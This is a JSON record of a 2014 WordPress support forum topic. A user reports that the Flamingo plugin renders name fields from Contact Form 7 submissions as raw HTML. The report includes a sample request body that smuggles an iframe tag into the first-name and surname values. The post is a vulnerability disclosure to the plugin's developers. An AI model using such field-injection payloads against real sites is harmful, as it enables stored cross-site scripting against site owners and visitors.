{"id":4974052,"date":"2014-06-03T11:45:45","date_gmt":"2014-06-03T11:45:45","guid":{"rendered":"https:\/\/wordpress.org\/support\/topic\/code-injection-3\/"},"modified":"2016-08-21T21:11:52","modified_gmt":"2016-08-21T21:11:52","slug":"code-injection-3","status":"closed","type":"topic","link":"https:\/\/wordpress.org\/support\/topic\/code-injection-3\/","title":{"rendered":"Code injection"},"content":{"rendered":"<p>Hey guys, you have code injection on the first and last name values that when viewed in address book or in the inbound messages render the code <\/p>\n<p>_wpcf7=7&amp;_wpcf7_version=3.8.1&amp;_wpcf7_locale=en_US&amp;_wpcf7_unit_tag=wpcf7-f7-p5-o1&amp;_wpnonce=31337&amp;FirstName=Evil%3Ciframe+src%3D%22http%3A%2F%2Fwww.google.com%22%3E&amp;Surname=Dude%3Ciframe+src%3D%22http%3A%2F%2Fwww.google.com%22%3E&amp;AgeRange=18+to+25&amp;Email=evil@dude.com<\/p>\n<p>https:\/\/wordpress.org\/plugins\/flamingo\/<\/p>\n","protected":false},"template":"","class_list":["post-4974052","topic","type-topic","status-closed","hentry"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/4974052","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/4974052\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=4974052"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}